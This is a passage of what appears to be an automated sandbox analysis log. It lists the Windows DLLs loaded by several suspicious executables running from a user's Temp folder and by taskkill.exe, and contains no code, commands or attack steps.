Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Section loaded: profapi.dll
